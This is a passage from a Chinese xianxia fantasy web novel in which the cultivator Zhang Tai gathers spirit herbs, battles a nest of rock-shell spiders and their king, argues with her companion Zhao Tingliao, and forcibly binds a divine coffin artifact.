展开神识,张苔衡量着自己下一步往哪处走。上次出来用留影珠出来录制,就探查过附近。
西北域和大量修士所在的中州不同,没了大大小小的阵法禁制束缚,神识收集的信息很多,像是院落附近的几块地域,有一些具备售卖价值的灵植,但年份太小了,有的甚至只有个根系。
显然是被之前院落主人光顾没太久。
若想有所重大收益,要么继续往西北方向深入,要么要往东南方向行进很长一段距离。
考虑到院落主人具备画阵传送的能力,自己两条腿抑或是疾行符是赶不上的,走东南方向多数可能自己只能捡剩下的。
西北方向危险是更危险一些,收获的可能也更多。
拿出玉简贴上额头,神识在上边刻录了西北方向自己神识感知到的简易地图,将几处大妖盘踞的险地格外标注,张苔贴上疾行符,四周景象在急速飞掠中化作模糊的色块。
用完一张疾行符,又继续往前行进了一段距离,张苔总算看见一些值得采集的灵植。
这一片都是些低阶外伤基础灵药,红蓼花,一阶,穗状红花,味浓烈甘苦,晒干研磨成粉,可加速伤口愈合。
很多医师都会大量收购,部分丹师也会收购。
也算是一进项,张苔肯定得收,不过她并未贸然上前,而是先以神识细细扫过整片灵植区域。
于是她发现,有一些红蓼花株附近,有肉眼几乎不可捕捉大小的隐翅虫盘旋。
隐翅虫,一阶灵兽,体型微小,飞行无声,橘黄身、翅透明、铁青头尾,叮咬后注入“隐翅虫素”,使得皮肤灼痛溃烂。
张苔面无表情想,真是一点都不意外呢,非秘境又不是灵植师培育的这种荒郊野外所产的低阶灵植,虽因灵气稀薄,对绝大多数灵兽妖兽无吸引力,也就是无守护兽,但往往也存在一些毒虫盘旋。
这些毒虫伤害性不大,但被咬之后的滋味也忒难受。
犹记得自己年少第一次在野外碰见灵植,完全没有防护措施就兴冲冲握着小刀跑去灵植堆里采集,之后便是身上几处红肿,又痛又痒了好几个时辰。
其实这些理论在镇上求学的学堂上也被传授过,但实践时常常忘掉理论,不遭遇一番毒打长记性,是无法将两者联系起来的,至少于她而言是这样。
不过现在的她已经是饱经风霜在泥地里不知道打过多少个滚的她了,看到毒虫别说防护了,只想着把其的毒液也给榨出来利用。
考虑到院落内外的时间差,张苔掐诀念咒,双手结出土行法印。随着灵力流转,所有红蓼花株的根系上笼罩一层黄蒙蒙的雾气,雾气颜色愈发浓厚,最终凝结成厚实的立土方块。
手一挥,庞大的方体土块震动,将花株从根茎处掰断,裹挟着土堆中的隐翅毒虫一起带到储物法器中。
29. 采集
遇见一阶灵植红蓼花后,张苔后续又陆续遇见并采集到另外一些低阶灵植,并一些低阶灵兽毒虫。
如在一些岩石缝隙扒拉出的一阶铁线草,止血可用,直接捣碎外敷或是炼制为药材、灵丹皆可。
又如在一些高大观赏类乔木灵植根部挖出的二阶阴髓菇,伞盖雪白,菌褶淡蓝,炼制低品[聚气丹]辅材,能提升炼气修士吐纳效率。
再如竹身漆黑、质地坚硬的二阶铁骨竹,是炼制宝器级别飞剑的炼器原材之一,可增加飞剑硬度,这铁骨竹是一片竹林,多的张苔不得不另外拿了个储物袋收,再把储物袋放入储物法器。
采集到的虽都是些低阶灵植,但张苔还是赚大发了。
先不说在遍地都是修士的中州找到野生的这些灵材有多难,反正这些都是低阶市场的硬通货,修仙界的坊市常年收购,虽单价不过1-3块下品灵石,但胜在需求稳定。
一路走着一路采集,不知是赤焰椒汁液在起效果,还是她运气真的不错,抑或两者兼而有之,这一路上压根没碰到什么于她而言有威胁性的灵兽妖兽撞上来。
中途她还又用留影石录制了一段,现在的她又是赶路又是采集,身上还挺风尘仆仆的,配合记录的日期,这段“倒霉”的误踩传送阵之旅可信度蹭蹭上涨。
回去之后,宗门任务的追责估计会在这等不可抗力情况下会不了了之,她争取能够拿到宗门任务对应的奖励。
这么走着,沿途采集灵植,直至行至到一处断崖前,她的去路戛然而止。
抬头望去,崖壁陡峭如刀削,直插云霄,云雾缭绕间隐约可见飞行类灵兽。
这些张苔都一掠而过了,目光主要停留在崖壁上生长的一些灵材。
同样等阶不高,二至四阶的样子,但比之前遇到的一二阶还是要好上一些,且数量看起来也比较多。
既然如此,这崖还是得上去一趟。
张苔并指掐诀,运转木系术法,三道灵光迸射没入崖底灌木丛。
那些普通灌木骤然疯长,接着很不符合常理地迅速结出一颗颗坚硬的果实,随即果实像一个个炮弹般投掷往空中飞行灵兽,在接近飞禽处炸开。
这些灵兽,张苔粗览过等阶也不是很高,在密集的果实炸弹驱赶下也不再停留,很快远去。
避免了空中可能的侵扰,剩下的就是在攀岩过程中会出现的意外。
拿出一把普通草籽,施展术法往其中灌注灵力后,往崖壁上大面积抛洒——这些散落的草籽都成了她的“眼睛”,如有危险出现,她会第一时间获悉并警觉。
仅仅如此,在防护上还是不够,张苔又往身上贴了一张铁罩符,一种四阶的防御类型符箓,只要不是六阶以上的灵兽或大妖,她的小命至少可以保住。
没什么再值得自己防备的,张苔拿出法剑,御剑而起,顺着峭壁的方向缓缓往上,直至接近第一处灵植生长区,悬剑兰,三阶灵植,叶片边缘锋利如剑刃,融入攻击类法器能增加锋锐度。
同样用土系术法将这一片的悬剑兰收走,再继续往上。
与平地采集相比,在峭壁上到底还是没那么轻松,有些小型灵植卡在奇形怪状的岩石缝隙之间,她只能跃到崖壁上,稳住身形用刀挖。
岩壁上的风吼藤弯弯扭扭缠着凸起的几块岩石,张苔理顺用匕首宝器切断只留下根系,这一块的风吼藤基本上被收进储物法器了。
张苔仰头找准下一个攀缘点,刚跃起站稳,突然听见头顶传来"咯啦"一声轻响——像是小石子滚落,通灵草籽也没传来预警。
但多年来的经验已让她下意识做出反应,猛地向右侧翻转,下一刹,泛着银白金属光泽的蛛丝穿过她先前的位置射入岩壁,坚硬的花岗岩竟被腐蚀出蜂窝状的孔洞。
"岩壳蛛?"张苔瞳孔骤缩,看着从岩缝阴影里爬出的六只脸盆大小的蜘蛛。
这些畜生的甲壳完美复刻了岩石纹理,所以当它们一动不动耐心等待修士进入偷袭区域时,各种侦测手段通常很难发现。
她右手仍抓着岩壁凸起,左手已掐出法诀。数根藤蔓暴涨,一些将她围得密不透风,一些鞭扫向扑来的几只岩壳蛛。
那些畜牲见无法近身于她,便退后不断喷出团粘稠的灰雾,张苔辨认出其中有风吼藤花粉,有迷幻作用,她立即闭气。
随着灰雾的接近,张苔感知到藤蔓被腐蚀,她皱眉,灵力蓄积,祭出强大杀招。
只见岩缝突然爆出数根尖锐的竹刺,将六只蜘蛛穿了个透心凉。淡绿色的血液顺着竹竿滴落,在岩石上蚀出缕缕白烟。
估摸着应该解决了,张苔施展风卷术,将蔓延过来的雾气全部扫开,围绕身周的藤蔓却不敢收,主要是担忧察觉不到的地方还潜伏着不少岩壳蛛。
但这么一直僵持着也不是办法,浪费的是她的时间。
没办法,张苔只得撕下铁罩符拿一张三阶的金刚符换上。
围得密不透风的藤蔓一撤,果然,又是好几只岩壳蛛从各处朝她扑来。
金刚符作用下的她,浑身坚硬如金石,这些蜘蛛哪怕扑到身上来了,螯肢划过没痕迹,口器啃啮啃不动。
张苔懒得管这些,随它们在身上各处游走,金刚符作用足有一个半时辰,她抓紧采集灵植,等她一路往上,之后总会离开这群岩壳蛛的活动范围。
就是有几只看起来稍高阶的变异岩壳蛛很烦人,总是喷出带有腐蚀性迷幻性的灰雾,将它们用竹刺戳死又有新的变异岩壳蛛出来。
顶头又出现了这样一只,张苔用风卷术将雾气吹走。
恰好附近的风吼藤全被她采了,正要往上,她直接把这只变异岩壳蛛当做下一个借力攀援点,利用金刚符刀枪不入水火毒不侵的作用踩死它,顺带还能把身上这些乱爬的岩壳蛛震掉落大部分。
纵身一跃,裹挟着下落之势狠狠往蛛背上一踏。
“咔嚓!”
变异岩壳蛛的甲壳裂开并凹陷,腥绿色液体四溅。
张苔正欲借力再往上,却发现足底被黏上了——竟是蛛丝。
她身形一滞,还未来得及挥刀斩断,更多的银白丝线已从四面八方激射而来!
二十余只岩壳蛛从孔洞中涌出,同时喷丝,蛛网如天罗地网般交织,眨眼间便将她的四肢捆缚。她猛力挣扎,可越是动弹,蛛丝缠得越紧,到最后她竟被困在一个茧中。
一边卖力地撕扯着这些又粘稠又坚韧的蛛丝,一边散开神识,能够感知到这群岩壳蛛在齐齐发力,最终竟把她拖入一处巢穴中。
巢穴四处布满了蛛网,蛛网之上黏连着的只剩下挂着一点残肉的骸骨,骸骨周围还有不少变异岩壳蛛和岩壳蛛在用口器啃啮吞食。
洞穴中央,一只足有牛犊大小的蛛王,又往一处空置的蛛网上吐出一根根挂着残肉的骨头,大量变异岩壳蛛和岩壳蛛迅速吐丝争抢。
而张苔被拖往洞穴中央,在那里,蛛王八只猩红的复眼死死盯着她,螯牙间滴落紫黑色的毒涎。
张苔心中骂爹,她可不想成为这些牲畜的口粮。
灵力大股消耗,地面岩土瞬间软化,化作流沙漩涡,拖着她的岩壳蛛纷纷被流沙给绞杀。
包裹着她的茧子外层也在流沙的冲刷下越磨越薄,张苔也在内部加快了撕扯动作,茧子很快开了一个口子,张苔从中钻了出来。
停了流沙漩涡,同时往身上覆盖一层流沙盔甲,保证任何蛛丝打在身上甚至是岩壳蛛本蛛接近都会被吞没。
蛛王见到嘴的食物居然还有反抗能力,尖锐愤怒的嘶鸣在洞窟中炸响,岩壳蛛们如潮水般涌来。
对于这些小喽啰,张苔没有丝毫压力。
在外边它们唯一能奈何自己的蛛丝也在流沙盔甲下失效,她甚至还有闲心想着,还是从腹部贯穿杀了这群岩壳蛛最好,首先柔软的腹部算是弱点之一,其次也保证了头胸部背甲的毒囊的完整度,可以有毒囊采集。
一个眨眼,十几只岩壳蛛凌空扑来,张苔掌心翻转,指间凝聚出竹叶,紧接着手腕一抖,青翠竹叶瞄准着破空激射。
"噗!噗!噗!"
叶片精准贯穿蛛腹第三节甲缝,腥臭的□□喷溅在岩壁上。中招的蜘蛛抽搐着坠落,八足蜷缩成一团,虽未即刻毙命,却已丧失行动力。
与此同时,地面的岩壳蛛也快速逼近,步足刮擦岩石发出悉悉索索的声响。
张苔掐诀,木灵力渗入地面,化为竹刺,刷的一下,这些岩壳蛛被纷纷串起,丧失行动能力,濒临死亡。
渐渐地,在岩壳蛛尸体堆积成了几座小山后,蛛王似也意识到自
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己的手下不能奈何张苔,蛛王暴怒,腹部鼓胀,蛛腿往后弯曲一跃,庞大的身躯如炮弹般朝张苔扑来。
张苔指尖竹叶飞旋,蕴含灵力的叶片破空而出——
“铛!”
清脆的撞击声中,叶片不像先前那样势如破竹地贯穿,而是在蛛王腹部上擦出一串火花,被硬生生弹开,飘落在地,尖锐的叶片边缘直接卷曲变形。
不愧是蛛王,这防御力和其他岩壳蛛不能相提并论,张苔只能避其锋芒,运转步法,出现在巢穴另一处。
之后蛛王的毒雾毒液蛛丝,张苔全都“敬谢不敏”地选择了躲避,顺带时不时“赠送”一堆冷刺到蛛王的各个关节。
但这攻击就跟挠痒痒似的,蛛王看似没受到任何伤害。
张苔一边躲闪一边在心中破口大骂,这岩壳蛛王明明也就四阶巅峰,类比到修士也就筑基巅峰的水平,按照常理这对战合该是自己碾压的。
但现在,她足足高了一个大境界,瞄准几个弱点,都是无效攻击。
如果现在就这么收了一堆岩壳蛛尸体落荒而逃,她又不甘心,那就只能冒一些风险了。
躲过激射而来的蛛丝,张苔闪身到蛛王背后,撤掉流沙护甲,土灵力疯狂涌动,在体表凝结出厚重的凝土战铠。金刚符的金光在铠甲缝隙间流转,形成双重防护。
这一次,蛛王转身口吐大股毒液时,张苔没有施展步法再度躲到蛛王背后,一跃而起错开毒液,半空中的她双手合十,木土灵力交织。
木土合术·荆棘战枪!
及至落到蛛王身前时,她的手中已出现一杆缠绕荆棘的长枪,双手握枪杆,张苔对准蛛王的一只复眼用力狠狠捅入。
“吱!”蛛王吃痛仰身前足抬起,发出凄厉嘶鸣。
张苔长枪的刺入遭受到巨大阻力,蛛王也开始奋起反抗,闪着寒光的獠牙以及尖锐的蛛腿如镰刀不断在她身上刮擦。
她也深知自己的防御手段撑不了多久,体内灵力如决堤洪水般涌入枪身,发狠奋力压着长枪深入。
“给我死!”
枪尖灵光大亮,荆棘疯狂生长,顺着复眼缝隙钻入颅内。蛛王挣扎激烈,所有长足疯狂挥舞,将周围岩壁劈得碎石飞溅。
“咔嚓——”
这一声仿若天籁,长枪终于突破最后防线,深深贯入蛛王头颅。腥臭的绿色□□喷涌而出,溅在张苔的铠甲上“滋滋”作响。
蛛王庞大的身躯剧烈抽搐几下,轰然倒地。
张苔不敢懈怠,赶紧起身给自己施展了一个清洁术。
凝土铠甲早已布满裂痕,金刚符的光芒也暗淡到几近熄灭。
若是将蛛王杀死,却因为最后关头的疏忽染上蛛毒,她会呕血。
巢穴中其余的岩壳蛛,见自己的王死了,没了号令,先是一窝蜂朝着张苔而来。
张苔灵力所剩不多,但也深知自己不能退缩,又是几个流沙旋涡丢出去,细密的砂砾如同千万把利刃,大量岩壳蛛被剿灭得连渣都不剩。
岩壳蛛这种中低阶灵兽,虽未完全开智,但也具有生物求生的本能,剩下的那些岩壳蛛,纷纷用起那么多的足腿快速而逃,短短几息之间,偌大的巢穴便只剩下张苔。
清理出一片空地,张苔暂做打坐调息。
灵力恢复到了六成左右,她就起身开始打扫战场。
另外拿出一个储物袋将现场的岩壳蛛尸体都收了,这种毒液毒囊提取还是有些难度的,全部等回到中州后找专业人士。
带着防护手套灵具,又将现场的蛛丝全部采集,然后她就开始细细打量这处巢穴。
果然在这昏暗的巢穴中,还长着一片风吼藤,只是坑坑洼洼显然被啃食过,张苔嫌恶,也觉得比较难出手,之前又采集了不少,果断放弃。
除此之外便没再看到什么灵植。
但张苔还是觉着不对,先不说此处巢穴的灵力格外浓郁,而且能够使一群岩壳蛛产生了不少变异,还让四阶的岩壳蛛王实力大涨到本不该有的水平。
可神识确实没探查出什么。
张苔一边沉吟着,一边漫不经心地看着整个巢穴中的打斗痕迹,断裂的蛛腿与凝固的墨绿色血液在地上蜿蜒地到处都是。
她的目光倏然凝滞在巢穴东侧一个不起眼角落。
30. 回院
一块向内凹陷的岩壁,挺大一处空间,张苔觉得自己整个人蜷缩进去没问题。
大小不是重点,主要是那一块是不是太干净了些?
激战时为了岩壳蛛尸体毒囊的完好,她换过几个地方,同样包括那一片区域,贯穿岩壳蛛腹背的液体各处溅洒,按理来说,凹陷的岩壁之内同样该有干涸的墨绿痕迹才是。
既然发现有问题,张苔自是快步过去,盯着其内空空荡荡的凹陷岩壁,张苔犹豫了会儿,取下防护作用的手套,只在手上裹了层灵力,就往凹陷的壁面上摸索按压。
指尖触及之处,并非寻常岩石的冰凉粗糙,反而带着一丝若有若无的温润,微微还有点反推力?
张苔闭目,手心在眼睫抚过,施展神识功法,这一下,倒是看清了,在凹陷岩壁的最里侧,覆盖着一层极薄的、暗绿色的草茎,其上布满了细密的纹路,浓郁的灵力在纹路中急速流淌。
此非凡物,这是张苔脑海里闪过的第一个念头。
之后便开始绞尽脑汁回想自己学过的灵植外貌和特征,她个人认为,此灵植,应当是六阶的溟隐敛息草?!
顾名思义,溟隐敛息草具有极佳的藏匿效用,是高阶隐息符、高阶隐匿丹、高阶隐藏法宝的不可或缺的灵材之一。
也难怪当初在崖壁之上,通灵草籽无法察觉岩壳蛛。
可以说,这一趟出来,先前张苔的所有收获与所得,都远不及此六阶溟隐敛息草贵重。
没有犹豫,拿出玉盒,张苔开始对溟隐敛息草进行采集。
溟隐敛息草被神识察觉之后,隐藏效用大大降低,故而后续她可以直接目视采集。
将整个这一块凹陷岩壁内的溟隐敛息草收干净之后,张苔格外留意巢穴中是否还有别的凹陷岩壁区域。
还真给她发现了几个,且其中多数都存在溟隐敛息草。
所有的溟隐敛息草都被搜刮完之后,张苔又把巢穴翻了个天翻地覆,实在确认扒拉不出任何东西了,才略带遗憾的离开。
从孔洞里爬出来,也不知道给她带到峭壁的哪个位置了,不过壁面的灵植还是风吼藤。
收割了这一块的风吼藤,张苔也不准备继续往上了,回到地面,把崖底附近的低阶灵植全部采集之后,发现储物法器内的地方不多了且闲置的储物袋等储物法器也没几个了。
于是根据神识和地图灵具指引挑了一个和来路不重合且没有危险预警的路线,准备回归院落,把收集到的修炼资源进行分筛归整处理等。
彻底离开了这一块区域,张苔在内心想着,她这算不算到了所谓话本主角跳崖之后,能获得大能传承抑或大量珍稀有价无市天材地宝的崖底?
要么话本终究还是话本,要么她没有主角命,这一片崖底,除了一些一二阶灵植就是野草沙石,尽管如此,她还是比较满意的,一二阶灵植咋了,一捆几十株也能卖个几百下品灵石呢!
回去的路上也是一路行进一路采集,鉴于她带走灵植的方式太占位置了,到了后边,她也不得不放弃凝个土块带走,亲自进入灵植田地动手摘。
抵达院落的时候,她的储物法器中满满当当,背上还背着和怀里还抱着几捆低阶灵植。
穿过大阵光幕,推门而入,她就见赵庭燎在院落的药田中拿着药锄翻土。
如此行为同他的外貌气质形成强烈反差,张苔忍不住侧目了好几眼,但总归不管她的事,她带着一堆低阶灵植往自己先前修炼的厢房走去。
走到一半,她忽而意识到什么,拐弯去了药田。
“赵庭燎,要不要我提醒你一句,这是别人的地盘,对方随时可能过来,那时候咱们躲躲趁对方不注意还能从待客大厅下的传送台离开,若是对方发现药田有异,意识到有人闯入这里,咱们就别想走了。”
要知道就连她在厢房,一点摆设都不敢挪动的。
结果这厮,把药田里的阵纹绘制灵材全弄走了,现在种下的,张苔细瞧了瞧,那整齐排列的几十株,都是些四五阶的固本培元抑或疗伤类灵植。
张苔顿时不平衡了,自己离开之前这些还没种下,证明赵庭燎比自己晚玩出,又早归来,凭什么自己收获最多的是些一二阶的低阶灵植,而对方收获的却高达四五阶?
不得不说赵庭燎的回复还真够慢的,张苔的注意力都转到下一项了,他才惜字如金吐了三个字回答张苔上一个问题。
“来不了。”
张苔初听想了下才意识到对方在说他有恃无恐动用院落主人药田的原因是对方来不了。
对此张苔表示困惑,“为什么?”
赵庭燎停下松土的动作,将药锄撑在身前,借力直起身。锄头微微陷入松软的泥土,他倚着锄柄,青衫袖口滑落,露出苍白纤细的手腕。
“我把阵引找出来并毁了。”
他语气平淡,仿佛在说今日天气不错,“现在这院子,是无主之物。”
张苔也放下一身的低阶灵植,拍着身上的泥土啧啧称奇,“你还懂阵法?”
赵庭燎微不可查摇摇头,“略懂。”
“否则阵引不必毁掉,而是修改之后为我所用。”
张苔不是阵师,对于阵法也不是很擅长,只停留在求学之时,依稀能够辨认阵法类别的水平,她不免担心,“毁掉阵引会影响待客大厅地下室传送台上的传送阵法吗?”
赵庭燎:“有些阵引会,但此院主人相信,本就不多能够抵达此院落的散修看不出玄机,而明白院落深意的人都是他带来的并再次来到这里也得仰仗他。
故而设下阵引的时候,没把它和离开的传送阵关联起来。”
说着他意味深长地看了张苔一眼,“客观来看,他的想法很合理,既然没有人能构成威胁,而这里的大阵已经非常复杂,何必在多余动手将阵引与离开的传送大阵搭建联系。”
张苔懒得理会他话里的机锋,反正拥有那使事情不合理神通的人是郑尔雅又不是她,她很理直气壮的把话题拐到对方种的灵植上。
“哦,这个啊。”赵庭燎换了一只手撑着药锄,“都是我从院
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落各房中翻出的种子种下而长成的。”
“从院落中翻出。”
张苔喃喃重复了一句,忽而愤怒指责道,“你故意的。”
“当初你刻意引导我直接找到离开的传送大阵,没有对整个院落进行探索。
从地下室出来后,在正院待客大厅,你跟我说完打算后就直接进入厢房,又启动时间类法宝,做出修炼假象,将我也带偏开始直接疗伤修炼,忽略了再好好翻找翻找院落的打算,而在我修炼期间,你将整个院落翻了一遍!”
赵庭燎没有否认,但也找补道,“院中的收获没你想象的那样好,纵使西北域如此广袤,会抵达这的修士不多,但也总归会有修士,院主也不是散财童子。”
闻言张苔冷嗤一声,抱着地上的低阶灵材就准备回厢房。
“而且,就算有些天材地宝摆在你眼前,你也不会认识。各地私塾学堂关于灵植等的辨认都只给你们教到六阶。
譬如门口水缸,看着平平无奇实则是件仙器,而水缸中的土是我在药田散落四处集齐收拢的七阶五炁蕴灵土和天河砂,水缸中的水渗入了七阶地脉灵乳。
我将这些收集在一起,放在你的必经之路上,你离开和回来,两次经过水缸,尚且都没有发现。”
张苔始终没有回头,没想到赵庭燎说着就直接闪身到了她身侧。
“我知道说什么你都不信任探索院落可以收获的东西,这里是一册极为齐全详尽的《西北灵植图谱》,另外,你需要什么也可以跟我说,然后我这边也有个请求。”
张苔空出一只手毫不客气地将那册玉简给收了,之后便淡淡道,“你明明可以谎称些地方说在那里采摘的,并用全采完了糊弄我,避免冲突,却要让我意识到事实。
无非是先前完全没把我放在眼里,现在却在我身上看见了可以图谋的东西,且提出来一定会让我警觉。
与其让我自行发现这点,笃定你的深不可测而拒绝,还不如先行坦白,且以利相诱。
也是难为你,顶着身体不适,硬生生跟我‘畅谈’这么久。”
赵庭燎:“此言差矣,应是互惠互利、价值交换,先前我有眼无珠,未曾看到你的非同一般,而今我有求于你,先坦诚过错,再以礼相待,不是正常流程?”
张苔蓦地笑了,“你可能不懂有一种人,他们格外容易受情绪支配。”
“我就是这种人,你先前的欺骗和不尊重让我格外不爽,哪怕你提议的是对我们双方都有利的事情,我也不想跟你产生更多交集。
何况,你这人心眼多得跟筛子无异,我觉得若是真的相信你,才是会被吞吃的连骨头渣滓都不剩。”
她冷笑一声,“之后我建议咱们还是做同在一个屋檐下的陌生人。”
“否则,你就是在逼着我动手,你这身体状况,纵使仗着修为比我高一个大境界杀了我,恐怕后续自己也有不小的苦头吃罢!”
话落,她运转步法,出现在厢房前,毫不犹豫开门进屋关门,不给对方再说任何话的机会。
31. 炼化
在厢房中,张苔解封凝固的土堆,将灵植有效用被收购的部分进行分割后分门别类收入储物袋,将毒虫尸体放入研钵用研杵捣出汁液收集。
将这些做完,空出好几倍可储物区域。
她没急着离开再选线路采集,反倒琢磨着要把从抗魔秘境得到的神器[阳煞驭魔柩]拿出来,准备祭炼让其认主。
主要是她怀疑赵庭燎图谋的就是她身上的这件神器,虽然不知道对方用什么手段看穿的,否则他那种人,若说没有图谋,不可能主动示好至此。
若是对方真对神器有所图谋,她祭炼期间,对方说不准会动手。
颇为肉疼地启动身上压箱底的六阶防御阵盘笼罩整个房间,布下层层结界和禁制,又往旁边摆了一堆她认为可能会有用的修炼资源。
自从[阳煞驭魔柩]变为完整版后,她就一直让它呈缩小状态,放在储物法器的角落。
而今一拿出来,张苔就感觉室内升腾起一股阴寒凶煞之气。
这口棺椁通体黑红,棺身缠绕着冰凉坚硬的锁链,棺盖之上刻着一尊狰狞魔首,双目紧闭,但光视扫一眼这魔首,就感知到一种令人心悸的威势和凶煞缭绕周身。
不过张苔是没什么敬畏之心的,为了拼凑完整这口棺,她人都差点没命,是她让这口棺完整并面世,她是这口棺的再生父母!
这么想着,她指尖一划,一滴精血滴落在棺盖上。
血珠滑落,无声渗入。
棺椁毫无反应,她也丝毫感知不到任何与棺椁的联系。
张苔摩挲着下巴思忖,很快明白了,对方压根不乐意认她为主。
若是个死物,就不会吞她鲜血,若乐意认她为主,她会有所感应,只需继续渗入灵力神识开始祭炼蕴养加强双方联系。
她冷笑一声,区区器物,认主这事可由不得它!
五指骤然扣紧棺身,体内灵力如决堤洪水般倾泻而出,强行开始灵力祭炼。
阳煞驭魔柩表面纹路突然亮起赤红光芒,一股灼热煞气反震而出,她掌心皮肉瞬间焦黑翻卷。血腥味混着皮肉焦臭在厢房弥漫,张苔却连眉头都没皱一下,手死死摁在棺椁上并倾注更多灵力,指甲深深掐入棺木缝隙。
棺椁剧烈震颤,魔首大眼圆瞪,眼中红光明灭不定。突然,棺盖掀开一条缝隙,暗光闪过,十道细如发丝的黑线激射而出,直取张苔周身要害。
张苔瞳孔皱缩,但既已浪费不少灵力,且手也受了伤,中途停止祭炼中断,之后就要重新开始,这些苦楚可不能白吃。
左手维持灵力渗透,右手迅速结印,眉心浮现一道光亮。
随着一声低喝,眉心之中走出一道虚影,这是以神识化形,用以硬撼那十道黑线。
厢房之中虚影与黑线无声缠斗,每碰撞一次,张苔脸色就白上一分。
七窍渐渐渗出血丝,她却恍若未觉,反倒在下一次棺盖掀开补充黑线时,趁机分出部分神识迅速送入棺内。
神识入棺看清其内景象,张苔一震。
无边黑暗中,悬浮着一团她也不知道具体怎么形容的圆球。
那一团圆球一半闪着赤金光芒,一半是翻滚着的无数嘶吼的魔影。
在她看清那一团圆球的同时,那团圆球也“看”到了她。
圆球膨胀收缩几下,漫天魔焰朝她这部分神识席卷吞没而来。
张苔在外一边抗衡黑线输入灵力,一边分心让棺椁内的神识化作利剑,直刺魔焰,并在棺内神识即将败却时又分割部分神识入棺。
反正灵力和神识就如跗骨之蛆般,硬生生缠上并全面深入棺椁。
神识相当于开辟了两处战场,张苔只觉识海震荡,好几次差点被神器的反抗强行中断祭炼。
每当这时,她不得不咬破舌尖,用精血强行镇压。
也不知这段祭炼纠缠持续了多长时间,又经历了多少个日夜。
当厢房内的动静终于平息,张苔疲惫至极,事先身边拿出来的补灵丹补神丹益气丹等等全部吞服殆尽。
不过好在,阳煞驭魔柩安静地缩小躺在她掌心,识海中有多了一个棺椁虚影。
张苔缓缓睁眼,眸中布满血丝。
抬手轻抚棺椁,能清晰感受到器灵那充满不甘却又无可奈何的意志。
她哼笑,“再不甘试试,当着你主人的面表示不甘,小心我气不过离开宗门,一辈子缩在偏远又灵气缺乏的深山老林,让你永远埋没在那里,好不容易等到有人出现,又全是些根骨资质心性全不如我的。”
这话一出,张苔感知对接着的阳煞驭魔柩明显情绪一僵,之后便完全安安静静,看样子是老实了。
断开对神器的感应,张苔将其扔进储物法器,拿出另外两件仙器开始祭炼。
反正之后如果要售卖哪个,她都可以洗炼解除。
而认主之后的法器不慎被他人夺取,她可以感知法器位置,对方要强解洗炼法器,抢占法器,也需要一定的时间。
将这一切全部做完,她实在疲惫至极,往防御法阵里塞了几块灵石,就着石床沉沉睡去。
*
推开厢房大门,一缕日光斜斜地洒在张苔的脸上。她微微眯起眼,抬手遮了遮这突如其来的光亮。闭关室内大半月,筋骨都开始透出几分僵意。
空气中飘来一股清香,混合着灵气与药力,张苔下意识循香望去,就见赵庭燎拢了一席黑色大氅,摆了张青玉案坐在其前烹茶。
这厮倒是悠闲!
对方也察觉到这边动静,抬眸望来,那双惯常含情的桃花眼里映着晨光,眼尾微微上挑,在茶雾中显得格外温柔。
"早,许久不见。"他唇角微扬,声音如清泉击石。
"闭关辛苦,来一杯?"修长手指执起一柄紫砂壶,朝她扬了扬。
仿若两人是经年好友,龃龉?那压根不存在。
张苔连个应答都欠奉,直接走了。
外出采集这种事,一回生二回熟,约莫四日过后,张苔又是满载而归。
根据她放在院落外边的计时灵具显示,来到西北域,已经两月有余快三月了。
她总觉得自己好像忘了什么事情,仔细回想了一会儿,是崔仲豫那边让他的狗腿子给自己应付两个月。
日子虽然早就到了,不过先前中伤她的暗器足要她半条命,又和她领取宗门任务外出的时间卡的很近,宗门里起码两个多月没她的踪迹,估计那边认为自己早就死了,应该也不会出什么大乱子。
这么一想,她心中安定下来。
虽然关于自己明明受了重伤,昏迷醒来却毫发无损,这事她也没找着缘由,估计是曾经身上带了某种高阶疗伤丹药或者什么她没发现,恰好在那次用了。
进入院中,迎面就见着赵庭燎搬了个躺椅在院中晒太阳。
想想里外的时
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间流速,院中才过去一个多时辰,这厮日子是过得逍遥,喝茶过后不久就躺着晒太阳。
赵庭燎看到她,又是不失一番热情友好,张苔照旧无视,回厢房整理收获、然后就是修炼。
也是此次外出,她发现自己的经脉被拓宽了,明明强行让神器认主过程中磕了不少的丹药,结果身上沉淀的丹毒还消失了足足四成。
她估计这是神器认主带来的增益。
从前听过一种说法,祭炼法器的同时也会淬炼自身,先前她还不以为然,合着是没接触过品级高的法器,而神器不愧为神器,给她自身淬炼的资质都提升了。
当时一发现这点,她就对提升资质后修炼的感觉跃跃欲试。
实际上差别没有很大,只是吸引吸纳的灵气更多,灵力在周身游走更加顺畅,但不得不说,修炼上轻松了一些,修炼效率较之前也提高了不少。
大概修炼了一个月的时间,她就从入定状态出来,且继续入定也比较困难。
在一个资源丰富的区域,她不会为难强迫自己继续入定修炼,于是再度外出采集。
接下来,她就过上了修炼-采集-修炼-采集,循环往复的日子。
又一次从外边归来,这次只用了两日,无他,可用的储物空间越来越少,她只暗恨自己当初没多买一些储物袋。
且长久地只获得低阶灵植到底让她有些微不满足,现在再看到一二阶的,她都不怎么动手采集,尽量把储物法器空间位置腾给稍好一些的三阶四阶,以及极其少遇见的五阶。
对于更高阶的她很是蠢蠢欲动,但高阶灵植周围一般都有大妖和高阶灵兽守护,她又不敢贸然尝试,怕试试就逝世。
算了,人还是不要这么贪心,放几个月前,她都不敢想自己会有这等奇遇。
话说回来,她的人生开始有所起伏貌似就是从当初崔仲豫手下暗害她昏迷做了个怪梦开始。
后续选择去金砂仙城做宗门任务,她仔细回想一下,恐怕不仅仅是因为有三个任务,恰好能在金砂仙城寒矿镇附近范围内重合,梦中出现过几次金砂仙城加深了她的印象与熟悉感恐怕也脱不了关系。
梦中关于金砂仙城的出现,一次是男主在金砂仙城得到第一颗战神丹——新任战神的出现,都是上任战神统治末期,魔物大军冲破中州边境防线,中州大片沦陷,如果新任战神众望所归,前任战神没有死在抗魔中,就会选择把自己炼成战神丹,算是对自己统治后期无能的一种赎罪。
一次是关于女主脱离高等魔物的桎梏——魔物居然在战神等仙盟高层身边安插了许多掌控之中的修士细作,女主就是其中之一。
张苔试图说服自己,哪有魔物能在修士这边设暗桩的,话本都不敢这么写。
还有梦里最后出现的话本,是对整个梦境男女主际遇的总结,更符合梦境光怪陆离地跳跃感。
在梦里通过女主的视角,她还见到了自己早死的生父,是大陆第一宗凝光宗的内峰长老。
很大逆不道的同时也折射出她困顿疯了,太想找个靠山混日子了。
更重要的是,倘若这个梦境真的为真,那她自己就玩完了,大部分普通修士都别想活太久了——梦中显示,中州前线要不了多久就开始层层失守,就连中州彻底沦陷,也没有很遥远。
然而这必不可能。
笃定地这么想着,张苔走进阵法光幕,推开院门。
